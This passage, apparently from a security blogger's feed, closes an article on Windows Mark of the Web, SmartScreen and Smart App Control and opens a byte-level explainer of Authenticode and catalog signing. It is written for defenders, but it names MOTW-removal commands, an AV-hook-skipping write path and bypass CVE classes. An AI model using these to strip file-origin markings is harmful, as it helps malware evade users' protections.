&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you write MOTW from your own downloader or EDR product, call &lt;code&gt;IAttachmentExecute::Save&lt;/code&gt; rather than writing the &lt;code&gt;Zone.Identifier&lt;/code&gt; ADS directly via &lt;code&gt;WriteFile&lt;/code&gt;. The Shell COM path triggers the Attachment Manager hooks -- AMSI, the registered AV scanner -- that downstream defenders rely on. The direct-write path silently bypasses them, which is sometimes useful for testing but never the right production choice.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;For an EDR or sandbox vendor&lt;/h3&gt;
&lt;p&gt;The MOTW &lt;em&gt;propagation contract&lt;/em&gt; you must honour: every code path that copies, extracts, mounts, or saves a marked file must re-write the &lt;code&gt;Zone.Identifier&lt;/code&gt; stream onto the destination. The 2022-2024 CVE arc is a public record of where Microsoft itself missed propagators -- ISO mounts, Outlook attachment saves, &lt;code&gt;.url&lt;/code&gt; handling, &lt;code&gt;.lnk&lt;/code&gt; canonicalisation. Any EDR with file-write hooks that re-materialises files (sandbox extraction, quarantine release, transparent decryption of EFS) must propagate MOTW or it creates the same class of bypass on its own surface.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;$KERNEL.SMARTLOCKER.ORIGINCLAIM&lt;/code&gt; NTFS extended attribute is the WDAC-side cache of a positive ISG verdict; respect it in your filter driver if you implement code-integrity overlays. Use &lt;code&gt;IZoneIdentifier&lt;/code&gt; / &lt;code&gt;IZoneIdentifier2&lt;/code&gt; for reads (low-level, no AV hook) and &lt;code&gt;IAttachmentExecute::Save&lt;/code&gt; for writes (Shell-level, triggers the documented hooks). And remember: writing the ADS via &lt;code&gt;WriteFile&lt;/code&gt; is not equivalent to going through Shell COM. The Shell path is what downstream defenders are listening on.&lt;/p&gt;

1. **Writing the ADS via `WriteFile` instead of `IAttachmentExecute`.** Skips the registered AV / AMSI scan.
2. **Trusting `Unblock-File` as a security boundary.** It is a convenience cmdlet; any user-mode process can do the same thing.
3. **Conflating SmartScreen with Microsoft Defender Antivirus.** Different engines, different ETW providers, different cloud backends.
4. **Assuming EV certs grant instant SmartScreen reputation.** They do not, as of approximately 2020 (Microsoft Learn [@learn-microsoft-com-smartscreen-reputation]).
5. **Assuming a Microsoft Defender SmartScreen browser extension exists for Chrome or Firefox.** The Windows Defender Browser Protection extension was discontinued during 2022; no replacement exists.
6. **Calling `WinVerifyTrust` on a file with no embedded signature and stopping at `TRUST_E_NOSIGNATURE`.** The catalog fall-through is the canonical path; hash with `CryptCATAdminCalcHashFromFileHandle`, enumerate with `CryptCATAdminEnumCatalogFromHash`, then re-verify the catalog.
7. **Trusting SAC&apos;s &quot;On&quot; state to mean Enforcement.** Settings distinguishes On (Enforcement) from Evaluation; Enforcement is a much smaller deployment population.
&lt;h2&gt;11. Frequently Asked Questions&lt;/h2&gt;

No, not since approximately 2020. The Microsoft Learn reputation-for-developers page [@learn-microsoft-com-smartscreen-reputation] states it explicitly: *&quot;EV certificates no longer bypass SmartScreen. Years ago, signing files with an Extended Validation (EV) code signing certificate would result in positive SmartScreen reputation by default, but this behavior no longer exists.&quot;* Reputation accumulates from telemetry regardless of certificate class. Buying an EV certificate today buys you the publisher identity assertion; it does not buy you a SmartScreen fast path.

Only if the USB stick is NTFS. FAT, FAT32, and exFAT (the default for most USB sticks and SD cards out of the box) cannot store NTFS alternate data streams; the `Zone.Identifier` ADS is silently lost on copy. Network file systems behave inconsistently; some preserve streams, most do not. This is one of the documented open problems in Section 9.

No. `Unblock-File` is a convenience cmdlet that deletes the `Zone.Identifier` stream. Any process running as the user can do the same thing (`Remove-Item -Stream Zone.Identifier` does the work directly; so does a raw `DeleteFile` on the ADS name). MOTW is a metadata hint, not an access-control mechanism.

No. They are separate engines with separate Event Tracing for Windows providers, separate cloud backends, and separate user-experience surfaces. SmartScreen is cloud reputation plus URL filtering. Microsoft Defender Antivirus is local plus cloud signatures plus behavioural detection. Correlating SmartScreen verdicts with Defender events is a Microsoft Defender for Endpoint integration problem, not a single-engine query.

No. The Microsoft-developed *Windows Defender Browser Protection* Chrome extension, the only browser-extension form of SmartScreen Microsoft ever shipped, was retired during 2022 (the former Chrome Web Store listing [@chrome-google-com-browser-bkbeeeffjjeopflfhgeknacdieedcoblj] no longer hosts the extension). No replacement exists. Third-party guides that still claim such an extension is available are out of date. The OS-level Attachment Execution Service plus Smart App Control covers some of the gap for files downloaded with non-Edge browsers, but the URL-time warning is unavailable on Chrome and Firefox in 2025.

No. The Windows operating system itself relies on catalog signatures for most in-box binaries. Open any default Windows install and inspect `cmd.exe`, `notepad.exe`, or the in-box satellite DLLs under `%SystemRoot%\System32`: most have no embedded Authenticode signature. They verify through `WinVerifyTrust`&apos;s catalog fall-through against the system catalogs (path and `cryptsvc` lineage covered in §6.3). Catalogs are also the substrate WHQL driver packaging and Windows Update rely on. They are far from obsolete; they are the off-line trust root the whole catalog-of-trust architecture rests on.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;mark-of-the-web-smartscreen-and-the-catalog-of-trust&quot; keyTerms={[
  { term: &quot;Mark of the Web (MOTW)&quot;, definition: &quot;Metadata recording the origin of a file Windows did not produce itself; lives as the NTFS Zone.Identifier alternate data stream containing an INI-style [ZoneTransfer] block.&quot; },
  { term: &quot;NTFS Alternate Data Stream (ADS)&quot;, definition: &quot;An NTFS feature that lets a file carry multiple named secondary data streams. Addressed as filename:streamname:type. Survives Windows Explorer copies on NTFS but is lost on FAT/exFAT.&quot; },
  { term: &quot;URLZONE&quot;, definition: &quot;Five-value enumeration from IE4 (1997): 0 Local Machine, 1 Intranet, 2 Trusted, 3 Internet, 4 Untrusted. Every later Windows trust signal resolves a file to one of these integers.&quot; },
  { term: &quot;Attachment Execution Service&quot;, definition: &quot;XP SP2 OS service that intercepts file launches from registered trust-aware callers and applies per-zone policy via the Shell COM IAttachmentExecute interface.&quot; },
  { term: &quot;SmartScreen Application Reputation&quot;, definition: &quot;Cloud-backed file-and-publisher reputation oracle that shipped with IE9 (2010) and integrated into the Windows Shell with Windows 8 (2012). Two-stage UX: modal block, then &apos;More info -&amp;gt; Run anyway&apos;.&quot; },
  { term: &quot;Authenticode catalog file (.cat)&quot;, definition: &quot;PKCS#7 SignedData container holding a list of file hashes plus per-member attributes. A single signature vouches for all members. Lives under %SystemRoot%\\System32\\CatRoot, managed by cryptsvc.&quot; },
  { term: &quot;Smart App Control (SAC)&quot;, definition: &quot;Windows 11 22H2+ execution-control feature. Structurally a WDAC AllowAll policy minus an ISG-driven blocklist. Clean-install-only; runs in Off, Evaluation, or Enforcement mode.&quot; },
  { term: &quot;Intelligent Security Graph (ISG)&quot;, definition: &quot;Microsoft&apos;s cloud-side reputation backend. Consumed by SmartScreen, by WDAC via policy rule option 14, and by Smart App Control. 24-hour cloud refresh cadence. Positive verdicts cached as the $KERNEL.SMARTLOCKER.ORIGINCLAIM EA.&quot; },
  { term: &quot;Notarization (macOS)&quot;, definition: &quot;Apple&apos;s mandatory server-side malware scan for non-App-Store distribution on macOS Catalina (2019) and later. Produces a stapleable ticket that lets Gatekeeper run fail-closed by default.&quot; }
]} questions={[
  { q: &quot;Why was the 1999 HTML-comment form of MOTW abandoned?&quot;, a: &quot;It was in-band (any text processor could strip it), format-specific (only worked for HTML, but executables and archives were the dominant attack vector by 2002), and consumer-specific (only IE knew to look for it). The XP SP2 NTFS-ADS move solved all three.&quot; },
  { q: &quot;What is the propagation contract for MOTW?&quot;, a: &quot;Every code path that copies, extracts, mounts, or saves a marked file must re-write the Zone.Identifier stream onto the destination. Bypasses in 2022-2024 (ISO mount, ZIP extraction, shortcut chains, LNK canonicalisation) are propagator failures.&quot; },
  { q: &quot;How does WinVerifyTrust handle a file with no embedded Authenticode signature?&quot;, a: &quot;It falls through to a catalog lookup: hash the file with CryptCATAdminCalcHashFromFileHandle, enumerate catalogs with CryptCATAdminEnumCatalogFromHash, and if a match is found, re-verify the catalog&apos;s PKCS#7 signature. This is how in-box Windows binaries like cmd.exe verify as Microsoft-signed.&quot; },
  { q: &quot;What is the structural difference between CVE-2022-44698 and CVE-2023-36025?&quot;, a: &quot;CVE-2022-44698 was a parser fail-open in the SmartScreen lookup (malformed Authenticode crashed the parser; the caller treated the error as no-warning-needed). CVE-2023-36025 was a different class: the .url handler chose not to invoke SmartScreen at all for certain target types, even though MOTW was present.&quot; },
  { q: &quot;Why does Smart App Control silently disable itself on some devices?&quot;, a: &quot;If telemetry indicates the user runs many unrecognized apps in Evaluation mode, SAC switches off rather than auto-promoting to Enforcement, on the rationale that an Enforcement gate would create more friction than the user would tolerate. Microsoft documents the behaviour but not the threshold.&quot; }
]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;The catalog of trust is not finished. As long as Windows ships propagators -- and any general-purpose OS will -- there will be propagator bugs, and the bypass class will continue to be data-flow-ordering, parser fail-open, and canonicalisation. The interesting question is not whether a new bypass will land. It will. The interesting question is whether Microsoft can move from per-CVE patching to enforcing the three-layer contract structurally, so the bypass class shrinks rather than rotates. Smart App Control Enforcement is one bet on how to do that. The propagation hardening of 2022-2024 is another. The next decade of Windows file trust is whether either of them finishes the work the 2004 Attachment Execution Service started: deciding, with confidence, whether it is safe to run this file.&lt;/p&gt;
</content:encoded><category>windows-security</category><category>smartscreen</category><category>mark-of-the-web</category><category>authenticode</category><category>smart-app-control</category><category>wdac</category><category>security-feature-bypass</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Authenticode and Catalog Files: The Crypto Foundation Under WDAC</title><link>https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/</link><guid isPermaLink="true">https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/</guid><description>Every Windows trust decision -- UAC, SmartScreen, WDAC, kernel-driver loading -- bottoms out on the same PKCS#7 SignedData envelope shipped in IE 3 in August 1996. Here is the byte-level reason.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>
Every Windows trust decision -- UAC, SmartScreen, App Control for Business (WDAC), and kernel-mode driver loading -- bottoms out on the same PKCS#7 / CMS `SignedData` envelope that Microsoft shipped with Internet Explorer 3 in August 1996. This article dissects that envelope byte by byte: the `WIN_CERTIFICATE` record inside the PE certificate table, the `SpcIndirectDataContent` attribute that signs a hash rather than a file (which is what makes catalog signing and per-page hashing possible), the RFC 3161 timestamp tokens that keep 2010 signatures verifying in 2026, and the `Microsoft Code Verification Root` kernel chain. We follow the named incidents that drove every post-2010 retrenchment -- Stuxnet, Flame, CVE-2013-3900, ShadowHammer, the 2022 Vulnerable Driver Blocklist, the 2026 Bitwarden CLI npm hijack -- and finish at the WDAC rule levels (`Publisher`, `FilePublisher`, `WHQL`) that finally surface those primitives to administrators as policy.
&lt;h2&gt;1. The verified-publisher question&lt;/h2&gt;
&lt;p&gt;On 17 June 2010, Sergey Ulasen and his colleagues at VirusBlokAda in Minsk began circulating a sample of a worm that would, a month later, be named Stuxnet [@wiki-stuxnet][@stuxnet-dossier]. Two of its kernel-mode components, &lt;code&gt;mrxcls.sys&lt;/code&gt; and &lt;code&gt;mrxnet.sys&lt;/code&gt;, were signed -- properly, by Authenticode-conformant certificates issued to Realtek Semiconductor Corp. and shortly afterwards by JMicron Technology Corp. [@stuxnet-dossier][@archive-stuxnet-dossier-details]. The Windows kernel loaded them because the certificate chains validated. The chains validated because, cryptographically, nothing was wrong.&lt;/p&gt;
&lt;p&gt;That sentence is the lens for everything in this article. Microsoft&apos;s code-identity system did its job exactly as designed, and a piece of state-grade sabotage walked through it. The next forty minutes of reading reconstruct what the kernel checks before loading a driver, why those checks could not have caught Stuxnet, and what Microsoft layered on top during the next fourteen years so that the next stolen Realtek private key has less reach.&lt;/p&gt;
&lt;h3&gt;Where Authenticode shows up&lt;/h3&gt;
&lt;p&gt;Most Windows users meet Authenticode without realising it. The &lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;User Account Control dialog&lt;/a&gt; that says &quot;Verified publisher: Microsoft Windows&quot; instead of &quot;Publisher: Unknown&quot; is the user-visible end of a long cryptographic chain that bottoms out in a PKCS#7 / CMS &lt;code&gt;SignedData&lt;/code&gt; envelope wrapped inside a &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt; record at the end of the PE file [@mslearn-authenticode-driver][@mslearn-pe-format]. The same plumbing is queried by SmartScreen, by App Control for Business (the 2024 rename of Windows Defender Application Control) [@mslearn-appcontrol-root], by &lt;code&gt;ci.dll&lt;/code&gt; at kernel-driver load [@mslearn-kmcs-policy], and by Windows Update during servicing. They all read the &lt;em&gt;same&lt;/em&gt; bytes in the certificate table; the verdicts differ only in which fields they consult and which policy they overlay.&lt;/p&gt;

flowchart TD
    SD[&quot;PKCS#7 / CMS SignedData&lt;br /&gt;(inside WIN_CERTIFICATE)&quot;]
    UAC[&quot;UAC&lt;br /&gt;&apos;Verified publisher&apos;&quot;]
    SS[&quot;SmartScreen&lt;br /&gt;reputation lookup&quot;]
    WDAC[&quot;App Control for Business (WDAC)&lt;br /&gt;rule evaluation&quot;]
    KMCS[&quot;ci.dll / KMCS&lt;br /&gt;kernel-driver load&quot;]
    SD --&amp;gt; UAC
    SD --&amp;gt; SS
    SD --&amp;gt; WDAC
    SD --&amp;gt; KMCS
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Every Windows trust statement -- UAC, SmartScreen, App Control for Business, kernel-mode driver loading -- is a query against the same small set of structures inside the PE certificate table. Once you can read those structures, you can predict every later trust decision the OS makes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;What you will be able to do by the end of this article&lt;/h3&gt;
&lt;p&gt;By the end of section 7 you should be able to decode every line of &lt;code&gt;signtool verify /v /pa /all&lt;/code&gt; output and explain, in one paragraph, why Stuxnet still loaded under a fully patched Windows 7 kernel. By the end of section 11 you should be able to run &lt;code&gt;certutil -CatDB&lt;/code&gt;, &lt;code&gt;New-CIPolicyRule -FilePath ... -Level FilePublisher&lt;/code&gt;, and &lt;code&gt;certutil -hashfile&lt;/code&gt; and explain what every byte of their output corresponds to in the on-disk structure.&lt;/p&gt;
&lt;p&gt;Stuxnet&apos;s kernel components loaded because the chain validated. The chain validated because, cryptographically, nothing was wrong. To understand why that sentence is true -- and what Microsoft has done in the fourteen years since to keep the next stolen Realtek certificate from getting as far -- we have to start in August 1996.&lt;/p&gt;
&lt;h2&gt;2. 1996: PKCS#7, ActiveX, and the original sin of downloadable code&lt;/h2&gt;
&lt;p&gt;Counterintuitively, Authenticode was not invented to sign Windows binaries. It was invented to sign downloadable web payloads.&lt;/p&gt;
&lt;p&gt;On 7 August 1996, Microsoft and VeriSign jointly announced what their press release called &quot;the first technology for secure downloading of software over the Internet&quot; [@press-pass-1996]. The release introduces Authenticode as a feature of Internet Explorer 3 beta 2, names Hank Vigil (&quot;general manager of the electronic commerce group at Microsoft&quot;) and Stratton Sclavos (&quot;president and CEO&quot; of VeriSign), and explicitly anchors the design in &lt;em&gt;open&lt;/em&gt; standards: &quot;Authenticode and VeriSign&apos;s Digital ID service support Internet standards, including the X.509 certificate format and PKCS #7 signature blocks&quot; [@press-pass-1996]. Six days later, on 13 August 1996, Internet Explorer 3 itself shipped as RTM for Microsoft Windows [@wiki-ie3].&lt;/p&gt;
&lt;p&gt;The original motivating problem was ActiveX. An ActiveX control was a downloadable COM binary that the browser would load in-process; without a signature, the browser had no idea who built it. The April 1996 W3C submission that preceded Authenticode is described in the press release as a &quot;code-signing proposal supported by more than 40 companies&quot; [@press-pass-1996]The 40+ company W3C signatory list is the institutional fact that made third-party CA participation possible from day one and seeded the modern multi-vendor code-signing economy. None of the architectural decisions that followed -- catalog signing, RFC 3161 timestamping, EV certificates -- would have been viable inside a single-vendor PKI.. Anchoring the design in X.509 and PKCS#7 instead of inventing a Microsoft-only signature format is the choice that made everything afterwards possible.&lt;/p&gt;
&lt;h3&gt;PKCS#7 was already there&lt;/h3&gt;
&lt;p&gt;By 1996, the &lt;em&gt;envelope&lt;/em&gt; part of the design was solved. RSA Laboratories had published PKCS #7 v1.5 in November 1993 as part of the Public-Key Cryptography Standards series [@rfc-2315]; in March 1998 the IETF republished it verbatim as RFC 2315, &quot;Cryptographic Message Syntax Version 1.5,&quot; authored by Burt Kaliski [@rfc-2315]. The same envelope evolved further: the IETF rebranded it as Cryptographic Message Syntax (CMS) and shipped progressively richer versions through RFCs 2630 (1999), 3369 (2002), 3852 (2004), and 5652 (2009) [@rfc-5652]. Modern Authenticode parsers consume the CMS dialect, but the on-disk envelope structure has barely moved in thirty years.&lt;/p&gt;

The ASN.1 envelope -- originally PKCS#7 v1.5 (Kaliski, 1993; republished as RFC 2315 in 1998), now generalised as CMS in RFC 5652 -- that carries the signature, signed and unsigned attributes, and the chain of X.509 certificates inside the Authenticode certificate-table entry [@rfc-5652].
&lt;p&gt;Authenticode is, in one sentence, &lt;em&gt;&quot;PKCS#7 SignedData carrying a Microsoft-defined content type that hashes the PE file in a specific repeatable way&quot;&lt;/em&gt; [@authenticode-pe-docx]. The asymmetric signature inside that envelope is RSA, the public-key system Rivest, Shamir, and Adleman published in 1978 [@rsa-1978], built on the Diffie-Hellman digital-signature concept introduced in 1976 [@diffie-hellman-1976]. None of that primitive cryptography has changed since. Everything that has changed sits &lt;em&gt;around&lt;/em&gt; the envelope: the algorithms it carries, the catalog store that lets Microsoft sign tens of thousands of files at once, the timestamp tokens that pin a signing moment in time.&lt;/p&gt;

flowchart LR
    DH[&quot;Diffie-Hellman (1976)&lt;br /&gt;digital-signature concept&quot;] --&amp;gt; RSA[&quot;RSA (1978)&quot;]
    RSA --&amp;gt; P7[&quot;PKCS#7 v1.5&lt;br /&gt;(RSA Labs, 1993)&quot;]
    P7 --&amp;gt; R2315[&quot;RFC 2315 (1998)&quot;]
    R2315 --&amp;gt; R2630[&quot;RFC 2630 (1999)&quot;]
    R2630 --&amp;gt; R3369[&quot;RFC 3369 (2002)&quot;]
    R3369 --&amp;gt; R3852[&quot;RFC 3852 (2004)&quot;]
    R3852 --&amp;gt; R5652[&quot;RFC 5652 / CMS&lt;br /&gt;(2009)&quot;]
    P7 --&amp;gt; AC[&quot;Authenticode&lt;br /&gt;(IE3, August 1996)&quot;]
    AC --&amp;gt; WC[&quot;WIN_CERTIFICATE&lt;br /&gt;in modern PE&quot;]
&lt;h3&gt;From one click to four trust decisions&lt;/h3&gt;
&lt;p&gt;The original UX of Authenticode in IE 3 was a &lt;em&gt;modal trust prompt&lt;/em&gt;. The user saw a dialog (&quot;Do you want to install and run [name] signed and distributed by [publisher]?&quot;) and clicked Yes or No. The signature was checked once, and that was the entire trust decision. By 2026, the same &lt;code&gt;SignedData&lt;/code&gt; envelope feeds at least four entirely different trust subsystems -- UAC, SmartScreen, App Control for Business, kernel-mode code integrity -- and most of the time the user clicks nothing at all.&lt;/p&gt;
&lt;p&gt;That layering is what the rest of this article is about. Thirty years on, the on-disk bytes have barely changed. The certificate table at the end of every signed Windows binary still carries a PKCS#7 SignedData envelope, and at the head of that envelope is the same content type -- &lt;code&gt;SpcIndirectDataContent&lt;/code&gt; -- Microsoft defined in 1996. What &lt;em&gt;has&lt;/em&gt; changed is everything around it: the algorithms inside the envelope, the catalog store, the timestamp tokens, the WDAC policy layer on top. Let&apos;s open the envelope and look.&lt;/p&gt;
&lt;h2&gt;3. Anatomy on disk: WIN_CERTIFICATE, PKCS#7 SignedData, SpcIndirectDataContent&lt;/h2&gt;
&lt;p&gt;Where does the signature actually live in a signed &lt;code&gt;.exe&lt;/code&gt;? Most engineers can guess &quot;the end of the file.&quot; Fewer can name the data directory entry, fewer still the wrapper structure, and almost nobody volunteers the exact ASN.1 content type. Four nesting levels matter. Walk them in order and the whole rest of the architecture starts making sense.&lt;/p&gt;
&lt;h3&gt;Level 1: the PE certificate table&lt;/h3&gt;
&lt;p&gt;The PE optional header carries a &lt;code&gt;DataDirectory[16]&lt;/code&gt; array. Entry index 4, &lt;code&gt;IMAGE_DIRECTORY_ENTRY_SECURITY&lt;/code&gt;, points at the &lt;em&gt;certificate table&lt;/em&gt; -- an offset and size into the file [@mslearn-pe-format]. Unlike every other data directory entry, the certificate table is the only one whose offset is a &lt;em&gt;file&lt;/em&gt; offset, not a relative virtual address; the certificate table is never mapped into memory at load time.&lt;/p&gt;
&lt;p&gt;Inside that offset+size region is a sequence of &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt; records, each laid out as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;typedef struct _WIN_CERTIFICATE {
    DWORD       dwLength;           // total length of this record, including header
    WORD        wRevision;           // WIN_CERT_REVISION_2_0
    WORD        wCertificateType;    // WIN_CERT_TYPE_PKCS_SIGNED_DATA
    BYTE        bCertificate[ANYSIZE_ARRAY];  // the DER-encoded blob
} WIN_CERTIFICATE;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For Authenticode-signed Windows binaries, &lt;code&gt;wCertificateType == WIN_CERT_TYPE_PKCS_SIGNED_DATA&lt;/code&gt; (constant value &lt;code&gt;0x0002&lt;/code&gt;), and &lt;code&gt;bCertificate[]&lt;/code&gt; is a DER-encoded CMS / PKCS#7 SignedData blob [@authenticode-pe-docx]. Multiple &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt; records are legal; this is how a single binary can carry both a SHA-1 (legacy) and a SHA-256 (modern) signature, or a dual-signed binary carrying both a primary and a nested secondary embedded signature (via the unsignedAttrs nested-signature mechanism).&lt;/p&gt;

The PE certificate-table record (`dwLength`, `wRevision`, `wCertificateType`, `bCertificate[]`) that wraps a single attribute certificate inside a PE. For Authenticode signatures, `wCertificateType` is `WIN_CERT_TYPE_PKCS_SIGNED_DATA` and `bCertificate` holds a DER-encoded CMS / PKCS#7 SignedData blob [@authenticode-pe-docx][@mslearn-pe-format].
&lt;h3&gt;Level 2: the CMS SignedData envelope&lt;/h3&gt;
&lt;p&gt;Decoding &lt;code&gt;bCertificate&lt;/code&gt; produces an ASN.1 SEQUENCE describing a CMS &lt;code&gt;ContentInfo&lt;/code&gt; whose content type is &lt;code&gt;signedData&lt;/code&gt; (OID &lt;code&gt;1.2.840.113549.1.7.2&lt;/code&gt;). Inside that is the &lt;code&gt;SignedData&lt;/code&gt; structure proper [@rfc-5652]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;version&lt;/code&gt; -- an integer, typically 1 or 3.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;digestAlgorithms&lt;/code&gt; -- the set of hash algorithms used by any signer (commonly &lt;code&gt;sha256&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encapContentInfo&lt;/code&gt; -- the content the signers are signing over. &lt;em&gt;This is the field that matters.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certificates&lt;/code&gt; -- the X.509 chain certificates needed to validate the signers.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crls&lt;/code&gt; -- optional, almost never populated inline.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;signerInfos&lt;/code&gt; -- one or more &lt;code&gt;SignerInfo&lt;/code&gt; structures, each with the actual signature bytes plus signed and unsigned attributes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each &lt;code&gt;SignerInfo&lt;/code&gt; carries the signing certificate identifier, a set of &lt;code&gt;signedAttrs&lt;/code&gt; (whose digest is what gets signed), an &lt;code&gt;encryptedDigest&lt;/code&gt; (the actual signature bytes), and a set of &lt;code&gt;unsignedAttrs&lt;/code&gt;. The single most important unsigned attribute, in practice, is the RFC 3161 &lt;code&gt;TimeStampToken&lt;/code&gt; -- the counter-signature that pegs the signing event to a moment in time. We will come back to that in section 5.&lt;/p&gt;
&lt;h3&gt;Level 3: SpcIndirectDataContent&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;encapContentInfo.eContentType&lt;/code&gt; for Authenticode is &lt;code&gt;1.3.6.1.4.1.311.2.1.4&lt;/code&gt; -- the OID Microsoft registered for &lt;code&gt;SpcIndirectDataContent&lt;/code&gt;. Inside, the &lt;code&gt;eContent&lt;/code&gt; is a Microsoft-specific ASN.1 structure [@authenticode-pe-docx]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asn1&quot;&gt;SpcIndirectDataContent ::= SEQUENCE {
    data        SpcAttributeTypeAndOptionalValue,
    messageDigest DigestInfo
}

SpcAttributeTypeAndOptionalValue ::= SEQUENCE {
    type   OBJECT IDENTIFIER,   -- 1.3.6.1.4.1.311.2.1.15 for PE images
    value  [0] EXPLICIT ANY DEFINED BY type OPTIONAL
}

DigestInfo ::= SEQUENCE {
    digestAlgorithm AlgorithmIdentifier,
    digest          OCTET STRING
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a PE binary, &lt;code&gt;data.type&lt;/code&gt; is &lt;code&gt;1.3.6.1.4.1.311.2.1.15&lt;/code&gt; (&lt;code&gt;SPC_PE_IMAGE_DATAOBJ&lt;/code&gt;) and &lt;code&gt;data.value&lt;/code&gt; carries a &lt;code&gt;SpcPeImageData&lt;/code&gt; structure describing what kind of image this is (32-bit, 64-bit, importable, executable). The &lt;code&gt;messageDigest.digest&lt;/code&gt; is the &lt;strong&gt;Authenticode hash&lt;/strong&gt; of the PE file [@authenticode-pe-docx]. That hash is &lt;em&gt;not&lt;/em&gt; SHA-256 over the file bytes.&lt;/p&gt;

Microsoft&apos;s `eContentType` registered under OID `1.3.6.1.4.1.311.2.1.4`. Its `messageDigest` field holds the Authenticode hash of the signed artefact, and its `data` field describes what kind of artefact it is (PE image, MSI, script). The fact that this structure signs *a hash* rather than a file is what makes catalog signing possible [@authenticode-pe-docx].
&lt;h3&gt;Level 4: the Authenticode hash and its four exclusions&lt;/h3&gt;
&lt;p&gt;The Authenticode hash is computed over the PE file with four specific byte ranges excluded [@authenticode-pe-docx]:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Excluded region&lt;/th&gt;
&lt;th&gt;Why excluded&lt;/th&gt;
&lt;th&gt;Spec reference&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OptionalHeader.CheckSum&lt;/code&gt; (4 bytes)&lt;/td&gt;
&lt;td&gt;The OS recomputes the optional-header checksum when servicing; signing over it would make every signature invalidate at first patch.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Authenticode_PE.docx&lt;/code&gt; §3.1 [@authenticode-pe-docx]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]&lt;/code&gt; (8 bytes)&lt;/td&gt;
&lt;td&gt;The pointer to the certificate table itself moves when a signature is added; signing over the pointer is a chicken-and-egg loop.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Authenticode_PE.docx&lt;/code&gt; §3.1 [@authenticode-pe-docx]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The certificate-table bytes themselves&lt;/td&gt;
&lt;td&gt;Same chicken-and-egg loop -- the signature cannot sign itself.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Authenticode_PE.docx&lt;/code&gt; §3.1 [@authenticode-pe-docx]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File-alignment padding after each section&lt;/td&gt;
&lt;td&gt;Padding can be different on different builds for harmless reasons (alignment, build-tool quirks); signing over it would punish those harmless differences.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Authenticode_PE.docx&lt;/code&gt; §3.1 [@authenticode-pe-docx]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The PE digest computed over the file with four regions excluded: the optional-header `CheckSum` field, the `IMAGE_DIRECTORY_ENTRY_SECURITY` data-directory entry, the certificate-table bytes themselves, and the file-alignment padding after each section. Because the excluded regions include the certificate-table area, the same hash remains valid after the signature is appended [@authenticode-pe-docx].
&lt;p&gt;The exclusion of the certificate-table bytes is the design move that makes the whole architecture work. The Authenticode hash is computed &lt;em&gt;first&lt;/em&gt;, signed, and then the signature is appended into the very region the hash excluded. After appending, the hash is still valid; verifying simply recomputes the hash with the same four regions excluded and compares.ASN.1 DER&apos;s tag-length-value shape means that, given enough patience, you can decode every level of the certificate table with nothing but a hex dump. This accessibility is also why parser bugs are particularly damaging: a verifier that re-encodes or normalises before hashing can be tricked into hashing different bytes than the bytes that get loaded -- the structural failure mode at the bottom of CVE-2013-3900 [@nvd-cve-2013-3900].&lt;/p&gt;
&lt;h3&gt;A separate, smaller hash per 4 KiB page&lt;/h3&gt;
